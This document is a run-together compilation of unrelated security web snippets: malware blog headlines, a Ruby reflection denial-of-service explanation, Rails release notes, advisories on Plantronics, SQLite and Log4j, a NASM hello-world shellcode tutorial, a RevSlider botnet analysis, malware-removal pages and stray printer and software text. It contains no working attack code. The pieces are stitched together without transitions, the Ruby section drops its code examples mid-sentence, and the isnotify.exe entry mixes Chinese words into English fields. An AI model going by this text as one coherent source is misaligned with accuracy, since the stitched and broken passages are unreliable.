Spreader by Mike McLellan on November 19, 2018 at 12:00 am Lazy Passwords Become Rocket Fuel for Emotet SMB SpreaderPopular downloader malware highlights the dangers of using easy-to-guess passwordsPopular downloader malware highlights the dangers of using easy-to-guess passwords. Finding a Weak Link in the Chain by Barry Hensley on October 11, 2018 at 12:00 am Finding a Weak Link in the ChainWhile supply-chain attacks pose serious risks, many can be avoided or mitigated by focusing on a defense-in-depth approach and basic security best practices. While supply-chain attacks pose serious risks, many can be avoided or mitigated by focusing on a […] CyberPunk Madness and Obsession on the Electronic Frontier NSA Software Reverse Engineering Framework: Ghidra by CyberPunk on March 6, 2019 at 3:58 am Ghidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency Research Directorate. This framework includes a suite of full-featured, high-end... Semi-Automated Network Penetration Testing Framework: Legion by CyberPunk on March 5, 2019 at 11:31 pm Legion, a fork of SECFORCE’s Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing framework that aids in discovery, reconnaissance and... Graphical User Interface for Metasploit Meterpreter and Session Handler: Kage by CyberPunk on March 5, 2019 at 10:35 pm Kage (ka-geh) is a tool inspired by AhMyth designed for Metasploit RPC Server to interact with meterpreter sessions and generate payloads. For now it only supports windows/meterpreter &... Automated Dynamic Application Penetration Testing: ADAPT by CyberPunk on March 5, 2019 at 9:51 pm ADAPT is a tool that performs Automated Dynamic Application Penetration Testing for web applications. It is designed to increase accuracy, speed, and confidence in penetration testing efforts....
Reflection in ruby is a powerful thing. Like many powerful things, it can be dangerous if used incorrectly. I recently discovered vulnerabilities in ActiveRecord’s mass assignment code that relate to the use of ruby’s reflection methods, and since I think that many ruby users are unaware of the issues, it would be helpful to explain the problem and detail the solution that Sequel has used for over 3 years to work around it. Let’s work backward and start with the effect of the vulnerability, which is that a user can create arbitrary symbols. Symbols in ruby are not garbage collected, so arbitrary symbol creation can result in denial of service through memory exhaustion. In innocuous usage, such lost memory is inconsequential, but you don’t have to be a very good hacker to exploit this vulnerability. With this vulnerability, a hacker can create two arbitrary symbols per request, and for most vulnerable web applications, you can get ruby to leak memory at a rate of about twice the bandwidth. So if an attacker has a 100Mb/s connection to your server, he can cause about 200Mb/s memory leakage. While the exploitation of this is fairly trivial in many applications, it does cost the attacker significantly, since they have to be transmitting half of the memory lost. So this is not an end-of-the-world scenario, but it’s not difficult to avoid either. The root cause of the problem is the use of ruby’s reflection methods with strings. Reflection methods such as class_variable_defined? are not safe to use with user-defined strings. This is because all of them convert the strings into symbols internally. This hides the symbol creation from the user, making the methods appear safe to use with user-defined input, when they are not. At the interpreter level, it is easy to see why it works this way. (Overly simplified explanation) In MRI, all constants, methods, instance variables, and class variables are stored in internal hash tables ( struct st_tables). These hash tables map ruby ID keys to ruby IDs are like ruby symbols, and VALUEs are like ruby objects). So if you call a method such as respond_to? with a string, ruby is going to need to convert it to a symbol/ ID in order to lookup the value in the internal hash table. So what is the solution? The only solution I’m aware of is fairly slow, as it requires getting an array of method/instance variable/class variable/constant names, converting it to strings, and then checking if the string value you have is included in the array. So instead of you need to do: or check the string against a separate whitelist (like ActiveRecord’s attr_accessible). A simple replacement of public_methods.map is a huge performance hit unless you can cache the values of that map call. When Sequel started caching that map call, it sped up mass assignment about 10x. Avoiding this vulnerability was actually one of my early commits to Sequel, on April 10, 2008. You may be wondering why I didn’t report this to the ActiveRecord developers then. Truth is, I didn’t really think about it. I had just started as maintainer of Sequel and was very busy getting familiar with the codebase and fixing bugs in it. I didn’t think about other projects and how they handled such a situation. I forgot about the issue completely until a few days ago when I received a pull request that would have reintroduced the vulnerability. I ended up merging that pull request and committing a separate patch that fixed the vulnerability, using code pretty much identical to that above. That’s when I thought to check if ActiveRecord was vulnerable, and it turns out it was. That’s when I notified the ActiveRecord developers. So there you have it. Bottom line: don’t call ruby’s reflection methods with user-defined strings or you open yourself up to denial of service.
Rails 3.0.10 has been released. This release contains critical security fixes. You can find an exhaustive list of changes on [github](https://github.com/rails/rails/compare/v3.0.9...v3.0.10). Here are some notable excerpts: ### 4 Security Fixes * [Filter Skipping bugs](http://groups.google.com/group/rubyonrails-security/browse_thread/thread/3420ac71aed312d6) * [SQL Injection issues](http://groups.google.com/group/rubyonrails-security/browse_thread/thread/6a1e473744bc389b) * [Parse error in `strip_tags`](http://groups.google.com/group/rubyonrails-security/browse_thread/thread/2b9130749b74ea12) * [UTF-8 escaping vulnerability](http://groups.google.com/group/rubyonrails-security/browse_thread/thread/56bffb5923ab1195) Please follow the links to see specific information about each vulnerability, along with individual patches for fixing them. Please note that these security fixes do not have CVE identifiers. We requested identifiers on August 5th, and have yet to received a response. When we get identifiers, we'll update the notices with those values. Also remember to subscribe to the [Ruby on Rails Security mailing list](http://groups.google.com/group/rubyonrails-security). * Fixes an issue where cache sweepers with only after filters would have no controller object, it would raise undefined method `controller_name` for `nil` [jeroenj] * Ensure status codes are logged when exceptions are raised. * Subclasses of OutputBuffer are respected. * Fixed `ActionView::FormOptionsHelper#select` with `:multiple => false` * Avoid extra call to `Cache#read` in case of a fragment cache hit * Magic encoding comment added to schema.rb files * schema.rb is written as UTF-8 by default. * Ensuring an established connection when running `rake db:schema:dump` * Association conditions will not clobber join conditions. * Destroying a record will destroy the HABTM record before destroying itself. GH #402. * Make `ActiveRecord::Batches#find_each` to not return `self`. * Update `table_exists?` in PG to to always use current `search_path` or schema if explictly set. ### Why was this release delayed? You may have noticed this release was originally slated to be released on August 8th. We decided to delay the release in order to obtain CVE identifiers. Unfortunately, identifiers still have not been issued. We felt that getting the security fixes to our users was more important than obtaining CVE values. That is why our release is late, and contains no CVE identifiers. ## THE END
Securing Traefik Web UI In one of our projects we use Traefik as a reverse proxy together with nginx and gunicorn to run a Django app in a docker-based environment. When deployed to production, we wanted to make the Traefik UI accessible for the customer, but keep it secure from unwanted visitors. Fortunately, Traefik offers a very simple yet powerful configuration option, which we enabled in a traefik.toml configuration file: [web] [web.auth.basic] users = ["user:password"] The [web] section tells traefik to apply the following configuration only to its own UI. To add an additional layer of security, we encoded the provided password using MD5 with htpasswd. htpasswd -nbm user password ..and copy the generated hash into the Traefik configuration file. Upon visiting the Traefik UI, the visitor will now be prompted to enter these access credentials. Side note: You can secure all Traefik frontends and entrypoints seperately with this method. With the following configuration, you can enable authentication for the https entrypoint: [entryPoints] [entryPoints.https] address = ":443" [entryPoints.https.auth.basic] users = ["user:HTTPSpassword"] And this secures your frontend 'awesomefrontend': [frontends] [frontends.awesomefrontend] backend = "awesomebackend" basicAuth = ["user:frontendpassword"]Tags: Traefik, Basic Auth
- The latest available version of the Plantronics HUB application for Windows 10 and 8 is vulnerable to EoP attacks. - As discovered by offensive security researchers, the software activates a component that offers higher levels of authorization. - The attack can only work for local unauthorized users, but it’s fairly simple to carry out and even automate. Security researchers have found a privilege escalation flaw on Plantronics HUB 3.21, the latest version of the client app that enables users of Plantronics audio devices to control the settings, customize ringtones, check battery status, update headset firmware, change voice prompt options, activate mute, and more. The flaw, which has a CVSS v3 score of 7.8, was discovered during a red team operation aiming to take over a domain controller server in a Windows network. As the pen-testers found out during their offensive security session, Plantronics HUB can be installed by unprivileged users and then run as “NT_AUTHORITY\SYSTEM,” which unlocks all kinds of potential. More specifically, the component that offers this capability is a service called “SpokesUpdateService.exe,” which can be easily “tricked” with Symlink into deleting any file on the system. If a malicious actor chooses to delete a configuration file, they could put the app in an uninitialized state after the installation step, potentially opening up the way to remote code execution as NT_AUTHORITY\SYSTEM. Indeed, the researchers found a way to run arbitrary binaries that use the signature validation of the software’s installer MSI package. After that, the goal of escalating privileges to dump the memory of the LSASS process inside the compromised Windows server and eventually retrieve the credentials of a domain admin user was simple. So simple that the researchers decided to keep the PoC private for now, as it could lead to mass exploitation. Also, this bug affects the latest available Plantronics HUB, which is version 3.21, so there’s no fix for it when writing this. One thing to note is that this attack works only for attackers who have local access to the target machine. As such, it is not a remote threat, although it could serve as a subsequent step for actors who have established their presence on a network. Plantronics devices are typically used by customer support and call centers but are generally widely deployed by all professionals today as they are useful to anyone who engages in teleconferencing. In this period, when large parts of the global workforce are working from home, this is unquestionably a critical finding. The researchers have promised to give more details about the bug at the upcoming Blackhat conference, which is to take place in the first days of August. That said, Poly, the owner of the Plantronics brand, has until then to fix the flaw. Until that happens, you may want to uninstall the software from your computer.
Cyclops Blink is an infectious Linux ELF executable. The executable has been associated by security agencies with a botnet that is used to target small offices. Office and home network devices have been targeted by this large-scale malware since 2019. Two samples of the botnet have been analyzed by security researchers and their information has revealed how it works: Cyclops Blink appears to have been professionally developed, given its modular design approach. A comparison of the core component functionality between the analysed samples indicates that they have most likely been developed from a common code base. – Security Researchers The researchers have also attributed Cyclops Blink to Russian APT “Sandworm”.
Honor V30 smartphones with versions earlier than 10.0.1.135(C00E130R4P1) have an improper authentication vulnerability. Certain applications do not properly validate the identity of another application who would call its interface. An attacker could trick the user into installing a malicious application. Successful exploit could allow unauthorized actions leading to information disclosure. CWE-287 - Improper Authentication Improper (or broken) authentication attacks are widespread, and have accounted for many of the worst data breaches in recent years. Improper authentication attacks are a class of vulnerabilities where an attacker impersonates a legitimate user by exploiting weaknesses in either session management or credential management to gain access to the user’s account. This can result in disclosure of sensitive information, and can lead to system compromise, theft, identity theft, and fraud.
Integris is actively tracking a new, evolving vulnerability affecting a Java logging package, Log4j, which is used in a significant number of applications and services. Learn what it is and why it’s important below. What is Log4j? Log4j is an open-source Java logging package. Almost every software keeps records of errors and events, known as logs. Many developers use the open-source (freely available) Log4j to log – applications and services such as Apple, Twitter, Steam, Tesla, and Apache use it. What is the Log4j vulnerability? Malicious attackers can trick Log4j to run malicious code by making it store a log that includes a special, dangerous string of code. From there, the hacker could potentially have full access to the system and do things like steal sensitive data. The Log4j vulnerability is serious because it’s a commonly used piece of freely available software. This means any exploit found makes many applications, services, and businesses vulnerable. Burnout & holidays = potential for major trouble This is a zero-day vulnerability – meaning recently discovered but vulnerable for a longer period. But that means bad actors tried to take immediate advantage of the situation. They were aided by the fact that this is announced during the holiday season, when workers may be on vacation or focusing on upcoming parties and presents. And like some previous vulnerabilities, activity spiked over the weekend for the same reason on a smaller scale. Burnout, caused in part by a deluge of cybersecurity incidents like these, has been a major issue in the past year. All of this adds up to a troubling cybersecurity situation. What did Integris do? Integris was alerted quickly as the threat became known. We sent out an alert to clients, alerting them to this vulnerability. We are working in coordination with vendor partners to deploy updates as they become available. What did your provider do? Which leads to the question: what did your IT provider do? Did they alert you of the situation, and let you know what steps they were taking? Or are you learning about it now? We think it’s important to keep our clients in the loop, even if the information is not actionable on their end. We want our clients to know that we know and that we’re on it. Interested in learning more? Reach out to Integris today.
Sensor nodes that are deployed in hostile environments are susceptible to capture and compromise. An adversary may gain private information from these sensors, clone and logically deploy them in the network to launch a variety of insider attacks. This attack process is generally termed as a clone attack. Currently, the defenses against clone attacks are not only very few, but also suffer from selective interruption of detection and high overhead (computation and memory). In this paper, the authors propose a new effective and proficient scheme, called SET, to identify such clone attacks.
You need to go into the routers internal settings to see and change the security key. Open your browser and enter the routers address , it may be printed on the bottom of the router or on a sticker on the side. You may also find it in the user manual along with the default user name and password. Enter that router address in the address bar and hit enter , a log in window will open and you can put the default user name and password , unless you have changed it. Once in the routers settings go to the wireless section and the wireless security sub-menu and you will see where you can enter a word or passphrase to be encrypted and that is also where you'll find the wireless security key. If you want to change it you can use one of the encryption methods (WEP, WPA or WPA2) , with WPA ans WPA2 being the stronger encryption methods and will give the stronger security key.
SERVER-WEBAPP -- Snort has detected traffic exploiting vulnerabilities in web based applications on servers. SERVER-WEBAPP Apache Tomcat WebSocket length denial of service attempt This rule detects an attempted denial of service attack against vulnerable versions of Apache Tomcat by looking for a WebSocket header that supplies an overly large packet size. What To Look For This rule detects an attempted denial of service attack against vulnerable versions of Apache Tomcat. No public information No known false positives Cisco Talos Intelligence Group MITRE ATT&CK Framework Tactic: Initial Access Technique: Exploit Public-Facing Application For reference, see the MITRE ATT&CK vulnerability types here: Denial of Service Denial of Service attacks aim to make a server or program unresponsive for users. These attacks may be volume-based, to overwhelm the system, or they may use certain logical flaws in the software to cut the service off from the users. The attack may come from one or multiple sources. These attacks do not usually lead to a remote code execution. Volume based attacks are best handled using a firewall application. CVE Additional Information CVE-2020-13935The payload length in a WebSocket frame was not correctly validated in Apache Tomcat 10.0.0-M1 to 10.0.0-M6, 9.0.0.M1 to 9.0.36, 8.5.0 to 8.5.56 and 7.0.27 to 7.0.104. Invalid payload lengths could trigger an infinite loop. Multiple requests with invalid payload lengths could lead to a denial of service. \|\|Ease of Access\|\|LOW
Here we go! About this course In these series of posts we’ll walk through the creation and implementation of Linux Shellcode for x32 systems. We’ll go from basic operations using syscalls to the implementation of crypters/encoders and we’ll be able to use those shellcodes we’ll make with our exploits. It is important to note that eventhough a lot of techniques may be quite similar, in here we’ll focus on 32 bits linux systems, some topics such as the use of registers change between 32 bit and 64 bit systems, also eventhough the concept is also quite similar, shellcode writting is much easier on Linux than it is on Windows thus starting with shellcode writting in Linux32 is probably the best option. I will assume that you have a general knowledge of computer architectures (Von Neumann architecture and so), know what registers are and are able to debug very simple programs, have some basic experience in writting C code for Linux, know a couple or three asm instructions like mov or push, and know what an exploit is. Also, these posts will focus on practise, almost all of the heavy theoretical concepts will be referenced with external documents that I recommend you to read. Shellcode and NASM In general terms, shellcode is a set of asm instructions translated to opcodes (hex values) that often get injected in the stack during the execution of a program to perform a certain operation. Shellcode is very related to exploits as when an exploit achieves execution on a system it will usually try to inject shellcode to compromise the system. Shellcode can be used with exploits but it also can be used in standalone progams such as malware. NASM or netwide assembler is an assembler written in C for intelx86. Using that we will be able to write and compile asm programs and further on translate them into opcodes for shellcode generation. The key concept that we need to understand here is that programs are commonly devided in sections, most of them in .text and .data. The first one contains the executable code and its not often writable during execution time and the other one contains data like variables and data structes and its writable during execution time. Other sections may be present as well but those two are the very basics you need to know by now. The suggested lecture here is understanding the ELF format for binaries CPU registers are small slots that are capable of storing a value, in the case of a 32 bit architecture, those registers can store 32 bits or 16. Registers are used by the CPU to correctly execute progams. Programs work with data (variables, structures and so on) and this data can be stored in memory and accessed from thereon. However, reading data from and storing data into memory slows down the processor, as it involves complicated processes of sending the data request across the control bus and into the memory storage unit and getting the data through the same channel. To speed up the processor operations, the processor includes some internal memory storage locations, called registers. In the case of an x32 architecture we can find 10 32 bit registers and 6 16 bit registers that can be grouped into general registers, control registers and segment registers. Also the general registers can be divided into data registers, pointer registers and index registers. As I don’t want to make these series of posts very theoretical I will assume that you are familiar with what registers are and if you are not I assume that you will browse to the previous link and get familiar with the topic. Anyway I will get into more detail with registers as we need it for writting programs further in these posts. When low level code like now, we are almost like in total control of what happens within the operating system, we could even be able to directly manipulate devices such as the peripherals to interact with them, but we don’t use to do that, there is a lot of code and resources built for use to use, make our lifes easier and simplify our tasks. If we want to write a simple hello world app, in a language such as C we would call the printf function of the standard library for example and we can actually do the same here. The thing here is that there are even easier ways for us to do perform simple tasks like that. In GNU/Linux systems you can find something called syscalls Each syscal is made by filling the EAX register with its syscall number and then triggering an interrumption in the following form: int 0x80 or SYSENTER So, from the user space an interrupt is done by doing (for example) int 0x80 as we saw, then the cpu will go check the IHT (interrupt handler table) and will call the system call handler (a kernel mod), the system call handler will go and figure out what syscall routine we need to execute and will run it. eax = system call number ebx = 1st argument ecx = 2nd argument edx = 3d argument esi = 4th argument edi = 5th argument The return value of the syscall will be loaded in the EAX register after the operation is completed. Basic program structure In our case we want a simple program that does two things - Print Hello World on the string - Exit the program properly In C we would have our int main function like printf(“hello world”); return 0; We don’t have a main function in our case, we are directly starting our program from the entry point. There are a couple of syscalls that can be used for what we want to achieve. Those are write() and exit(). Write works like that: write(file descriptor, buffer, size); The first argument is the file descriptor related to where we are going to write, in our case 1 relates to stdout or “the screen”. Then buffer represents what do we actually want to write and size its size. Exit is more simple: A 0 would usually mean that the system exited properly but we can use whatever number we want. The full code for a hello world program is listed below: ; HelloWorld.asm ; Author: AB ; /usr/include/i386-linux-gnu/asm$ cat unistd_32.h SYSCALLS global _start ; text section -> CODE goes here section .text ; _start identifies the ENTRY POINT of the program _start: ; print "Hello, World" mov eax, 0x4 ; write syscall mov ebx, 0x1 mov ecx, message mov edx, mlen int 0x80 mov eax, 0x1 ; exit syscall mov ebx, 0x5 int 0x80 ; exit ; data section -> DATA goes here section .data ; db = define byte, defines a series of bytes message: db "Hello, World" mlen equ $-message As you can see the program is divided in the .text and .data sections. The .text section contains executable code and .data contains variables. There are two variables listed there on the data section, one labeled as message and the other one as mlen. The message variable is defined with “db” that means define byte, basically using that the program will create the string “Hello, World” in memory and the variable “message” will be a pointer to that string I recommend this stack overflow question if you don’t understand that well. The second variable is mlen, that is assigned to a nasm macro with equ $-message, that means that mlen will be equal to the lenght of the previous string. In nasm the $ means the current address according to the assembler. $ - message is the current address of the assembler minus the address of message, which would be the length of the string, that is more practicall than actually having to hardcode it. On the text section we find the actual code of the program. The code starts with _start: that defines the entry point and what comes next is very simple, first, the number related to the write syscall is passed, then the parameters of the function and finally a syscall is performed with int 0x80. After that, the same is done with the exit syscall. Building the binary After the code is written it can be converted to a binary with two simple commands. For doing that, we need to perform two operations that will become very common for us from now on. First, we need to compile the program, then we need to link it. Compiling and linking are two tasks that are executed everytime we compile a program by doing something like gcc -w hello.c -o hello what happens here is that gcc handles all the stuff by itself and we just get the binary, in this context we have to do it ourselves. Compiling consists of translating a file containing code to a file containing machine code (code that the cpu can execute) linking consists of actually linking all of the machine code (or object files) that we have in our project to generate a final executable that can be ran. A very good explaination can be found here So we generate an ELF32 binary nasm -f elf32 -o hw.o HelloWorld.asm And then we link it ld -o hw hw.o After that we can just run ./hw and we’ll see a hello world on the screen. Inspecting the program with radare2 Finally I just want you to notice how simple and efficiant this kind of programs written in pure asm can be. Try to open and analyze this program on radare2. What we see here is exactly the same thing we wrote, nothing more. As we are only using nasm with syscalls and not C with libraries such as stdio.h our code is way more clean, when we start using libraries such as that one I mentioned, our binaries get bigger and more hard to understand. So with nasm and syscalls it will be hard and time consuming to write complex programs but we’ll have the absolute control of whats going on, with higher level languages the opposite will happen.
\|< Day Day Up >\|\| \| In this exercise, you will read a scenario about a company’s wireless networking security challenge and then answer the questions that follow. The questions are intended to reinforce key information presented in this chapter. If you are unable to answer a question, review the lessons and try the question again. You can find answers to the questions in the “Questions and Answers” section at the end of this chapter. You are the lead systems administrator at a large law firm. Law firms are among the slowest adopters of new technologies, and your employer is no exception. Your organization has, to date, not deployed a wireless network. After bringing up the benefits of wireless networks at a recent meeting with the senior partners, you learned that you will not be deploying a wireless network for several years, if ever. The lack of an IT-configured wireless network has not entirely stopped their adoption, however. Yesterday, you noticed a junior attorney accessing the Web from the firm’s library—without an Ethernet cable. When you asked the attorney how he was connected to the network, he confessed that he plugged a consumer WAP into the network port in his office. You need to explain to the senior partners why your organization needs a wireless network security policy even if they do not want to sponsor a wireless network. Which of the following risks are posed to your organization by the presence of a rogue wireless network? (Choose all that apply.) An attacker could use a wireless network card to capture traffic between two wired network hosts. An attacker could access hosts on your internal network from the lobby of your building with a wireless-enabled mobile computer. An attacker could use your Internet connection from the lobby of your building with a wireless-enabled mobile computer. An attacker could capture an attorney’s e-mail credentials as the attorney downloads his messages across the wireless link. An attacker with a wireless network card could join your Active Directory domain. Which of the following would reduce the risk of a security compromise resulting from a vulnerable rogue wireless network? (Choose all that apply.) Publishing a wireless network security policy allowing employee-managed WAPs that have authentication and encryption enabled. Publishing a wireless network security policy forbidding employee-managed WAPs. Publishing instructions for other employees to access the current employee- managed WAP. Deploying an IT-managed WAP using open network authentication without encryption. Deploying an IT-managed WAP with WEP encryption and 802.1X authentication. Educating internal employees about the risks associated with wireless networks. \|< Day Day Up >\|\| \|
While analyzing our website firewall logs we discovered an old vulnerability being retargeted in RevSlider, a popular WordPress plugin. In 2014 / 2015, this led to massive website compromises. Now it’s being leveraged again in a new attempt to infect websites. The patched version (4.2) was released February 2014. Many websites remain outdated and are being targeted under a new wave of attacks. The original hack required sending an AJAX request containing the action revslider_ajax_action to the vulnerable site along with the malicious payload. Due to the severity, many hosts deployed ModSecurity to virtually patch and block this attack. In the new variation, the attack sequence is modifying the action to revolution_slider-ajax-action. This variation was detected by our analyst Keir Desaily. It turns out that certain themes using revolution slider leverage a different folder name to store its data, replacing “revslider” by “revolution-slider”. As the code uses the plugin directory as the name for its AJAX actions, this permits the attacker to change their exploit, successfully compromising websites. Most ModSecurity and prevention techniques deployed since the vulnerability was released are filtering the original attack and are considered static and stale. All CloudProxy customers are not affected by this new variation. Malware Analysis – IRC Botnet During the analysis of this new exploit variation we spent time looking at the backdoor it was trying to communicate with. It turns out the attackers were pushing a zombie script to connect to an IRC botnet where it would receive the orders from the Command and Control (C&C). Botnets are common, they can spread the infection through a website’s resource while simultaneously building a mesh network to cover their traces. Using IRC as a command center is popular among botnet as they are easy to operate from a distance and provide a stable connection to the bots. This particular script has been used in website hacking since 2012 and yet the functions of this variation are very limited. While it can execute arbitrary commands, it cannot automatically perform tasks which require a complete script to be sent with every command. We simulated being one of these bots to monitor the activity of the server. This led us to a small IRC network with dozens of zombies leaking hundreds of unique WordPress databases credentials. Monitoring this channel gave us insights into how it operates the bot to expand the infection rate. We know that Google asks for CAPTCHAS after a certain number of searches have been reached. These bots had devised a way to perform Google searches, evading their CAPTCHA feature, enabling them to find and target more vulnerable sites. This attack sequence can be described as an evolution of the previous attack Denis shared. Each bot searches for specific terms and extensions, leveraging different Google Top Level Domains (TLD). Google has over 200 domains. This allows the attacker to multiply their search range by 200. The technique seems to be efficient, rendering over 800 database credentials from different sites in less than two days. While pretending to be a bot, we received various commands to execute: This script tries to download a text file from another infected server part of their network, execute it, then delete all traces of itself. The content of the file remains a mystery as it had already been removed from the server when we attempted to download it. From previous experience, it would likely force our site in brute force or DDoS attacks. Exploit Target – Revslider From the dorks used, we were able to find out that they were searching for WordPress installations containing a vulnerable version of RevSlider. Once a vulnerable target is found, gaining administrator access is straightforward. Once a target is compromised, scripts are added to the compromised server and the attackers network. From the 800 sets of credentials pulled from the network, 40 of these had the year the website had been built in, in the password (i.e, such as WP_SiteName2016). While it may be an easy way to memorize the password, using a date lowers the entropy of the password which makes it predictable! For more information on passwords, read through the Dynamics of Passwords article in which we share some best practices. Patch As Soon As Possible If you’re using a vulnerable version of RevSlider, update or patch as soon as possible! In the event you’re unable, we strongly recommend leveraging our Website Firewall or equivalent technology to get it patched virtually. How to patch? Which version is secure? This is an old vulnerability dating from Feb. 2014, everything over version 4.2 is patched Are you sure about that? I still see compromised wordpress sites out there with version 5.1.6 installed. Serving up exploit kit nonetheless. Not to mention this article is only less than two months old, if it were me, I would get rid of this plugin given the past.. Does that compromise the web server or the server itself? I used to run my webserver on my server at home. The webserver is turned off now, but the Server is of course still active. I get these Google capcha requests once in a while when I google, telling me there’s suspicious activity from my Network. Also I discovered that the my symantec AV scanner quarantined a few files from revslider directories. So my suspicion is, the Server is infected. maybe from running the Webserver in 2014 with a Website using revslider. But how do I find that out for sure and how can I remove the bot/trojan? Can you point me to a site with help?
The MSF-Maker software featured in this www.msfmaker08.com website has involved the programming/codes (amongst other things) of the following (or similar) displays. If you are interested to receive programming codes (in Visual Basic), or just need some programming assistance, please email us at [email protected]: - Ternary diagrams with phase saturations at 6 different positions (Figure 1). - X-Y plots (normal, semi-logs and log-log plots), Figure 2. - Two-phase relative permeability and capillary pressure plots (Figure 3). These require correct normalization and de-normalization techniques/equations. - Displays of Kr and PC data with inputs from a database (Figure 4). - Two-dimensional tabular data (Figure 5).
Note: Power on the computer and the printer with the USB Cable connected to see if Windows 7 will already have a driver loaded for the printer. - Depending on the type of file that was downloaded (.exe or .zip), perform one of the following options: - For .exe files: Double-click on the (.exe) file to open the file and run it. Make a note of where the files will be extracted to or choose a different location on the computer. - For .zip files: Right-click on the file and select [Extract All]. Select a location for the files to be extracted to, make a note of the location, and then click on [Extract]. - Click on [View Devices and Printers] under the Hardware and Sound category. - Double-click on [Devices and Printers] (if viewing by icons). - Click on [Add a Printer] at the top of the window. - Click on [Add a Local Printer].
isnotify.exe is a process associated with 木马.W32.Zlob. This 木马 allows attackers to access your computer from remote locations, stealing passwords, Internet banking and personal data. This process is a security risk and should be removed from your system. If found on your system make sure that you have downloaded the latest update for your antivirus application. Recommendation for isnotify.exe: DISABLE AND REMOVE isnotify.exe IMMEDIATELY. This process is most likely a virus or trojan. 安全等级 (0-5): 4 病毒: No ( Remove isnotify.exe ) 木马: Yes ( Remove isnotify.exe ) Memory Usage: N/A System Process: No Background Process: No Uses Network: Yes Hardware Related: No Common isnotify.exe Errors: N/A
Talos security researchers discovered a Use After Free vulnerability in SQLite, allows attackers to send malicious SQL commands to trigger the vulnerability. The free vulnerability exists in the window function functionality of Sqlite3; the flaw can be tracked as CVE-2019-5018; it affects SQLite 3.26.0, 3.27.0 and receives 8.1 – CVSS:3.0 score. SQLite is a favorite library used in implementing SQL database engine; it is used extensively in a number of devices including mobile devices, browsers, hardware devices, and user applications. “SQLite implements the Window Functions feature of SQL which allows queries over a subset, or “window,” of rows. After parsing a SELECT statement that contains a window function, the SELECT statement is transformed using the sqlite3WindowRewrite function.”
V9, also known as V9 Search or V9.com, is a browser hijacker, a kind of potentially unwanted program or "PUP" often distributed through free software downloads. Once installed, V9 changes your primary Web browser's home page to v9.com and its default search engine to search.v9.com, which returns primarily paid ad results. To remove V9, you could follow the removal instructions on V9's own website, but they're oddly written and somewhat out of date. To make sure V9 is fully removed, you should instead reset your browser, as detailed in the following links. - How to Reset Google Chrome - How to Reset Mozilla Firefox - How to Reset Microsoft Internet Explorer - How to Reset Apple Safari V9 may be accompanied by hidden programs that reinstall V9 after a browser reset. These programs, which are sometimes called BrowserProtect, eSave Security Control, New Tabs Uninstall or Wsys Control, can be removed by adware-removal tools such as AdwCleaner, CCleaner or Malwarebytes Anti-Malware. Here are instructions on how to use each. How to remove hidden programs with AdwCleaner 1. Download and install AdwCleaner, as explained here. 2. Run a scan. 3. Click Clean to remove any potentially unwanted programs. 4. Click OK in the pop-up window that appears when the scan is finished. 5. Click OK in the informational pop-up window. 6. Click OK to reboot your PC. How to remove hidden programs with CCleaner 1. Download and install CCleaner, as explained in our separate story. 2. Click Tools, then Uninstall to list installed applications. 3. Select unwanted programs— in this example, the performance optimizer RegClean Pro— and click Run Uninstaller in the top right. 4. Click Yes to confirm you want to remove the unwanted program. 5. Click OK to confirm the program has been uninstalled. How to remove hidden programs with Malwarebytes Anti-Malware 1. Download and install Malwarebytes Anti-Malware, as we explain in a separate article. 2. Run a scan. 3. Click Quarantine All to isolate potentially unwanted programs, then click Apply Actions. 4. Click the History tab. 5. Click Delete All. 6. Click Yes in the confirmation pop-up window. - 7 Scariest Security Threats Heading Your Way - 12 Computer Security Mistakes You're Probably Making - 5 Free PC Maintenance Programs Worth Downloading
INTENSIVE use of online gaming platforms during the enhanced community quarantine also gave rise to cybercriminals attacking people using their devices for entertainment. But what can cybercriminals gain from attacking gaming platforms? Gaming is a multi-million dollar industry with an equal number of users. Utilizing various types of malware, mostly Trojans, to profit from gamers, hackers know that the first stage to an intrusion is stealing users’ account data from popular gaming platforms such as Battle.net, Origin and Uplay, in order to resell it afterwards. Security expert Kaspersky reviewed threats targeting major gaming platforms and found at least four malware specimens that are capable of stealing information. However, these Trojans are not just looking to affect gameplay but important financing details which are more profitable. Kaspersky analyzed the password stealer landscape to see how vulnerable users could be. Threat analysis presented four malware families – Kpot, BetaBot, Okasidis and Thief Stealer, which all carry an interesting Trojan specimen. Password stealers are a type of Trojan malware, designed to steal account data – from gaming session tokens or login details, to nearly any information saved on a computer. This can include cookie files, login credentials and passwords saved on a browser, along with a lot more. In some instances, stealing gaming details is just one of the malware’s functions, and online banking passwords are also of interest. All the observed Trojans are virtually unnoticeable to users. In all cases they do not demand any extra permissions or send fake alerts and just quietly steal data. It is important to note that these Trojans do not exploit any platform vulnerabilities, as they purely focus on gathering data from an infected device. “There are numerous gaming-focused threats out there, from fake files and compromised modes resold on the web, through to phishing pages. However, if a user is aware of these threats, they can take steps to protect themselves from harm. Unfortunately, this is not the case with password stealers, as it is hard for a user to spot them. This means that gamers need to be proactive in keeping themselves safe and always take extra precautions, as well as using a reliable security solution to prevent their computer from becoming infected,” comments Alexander Eremin, Kaspersky security analyst. Protecting gaming accounts from malware including password stealers, does not need expensive solutions. Kaspersky recommends the following; setting up two-factor authentication, download gaming modifications only from trusted sources, use a reliable security solution which will be able to identify stealers and stop them from stealing data; keeping any security solution on in the background while playing a game. Some security solutions, such as Kaspersky Security Cloud, have a special gaming mode, which reduces the load on the computer during playing time and does not affect the quality of the gaming experience.
Collaborating pair of viruses difficult to clean: Microsoft London: Microsoft research has found that a pair of collaborating viruses proves harder to clean from infected PCs as they foil the removal by regularly downloading updated versions of their malware partner. According to BBC, the novel versions of the viruses are unknown to anti-virus programs which let the malicious programs persist and take over the machine so it can be mined for saleable data or used to send spam or to attack other machines. Microsoft malware researcher Hyun Choi said that two Windows viruses, known as Vobfus and Beebone, were regularly found together. Vobfus could be installed via booby-trapped links on websites, travel via network links to other machines or lurk on USB drives and infect machines they are plugged into. If Vobfus gets installed in a system, it downloads Beebone which enrolls the machine into a botnet, a large network of infected machines and thus the two start downloading updates of each other. Choi said that even if Vobfus is detected and remediated, it could download an undetected Beebone which can in turn download an undetected variant of Vobfus adding that the two are intrinsically related. He further recommended disabling the ' autorun' feature on Windows machines as Vobfus exploits this when it arrives via USB drives and said that people should avoid clicking links on external websites to avoid falling victim to booby-trapped URLs, the report added.
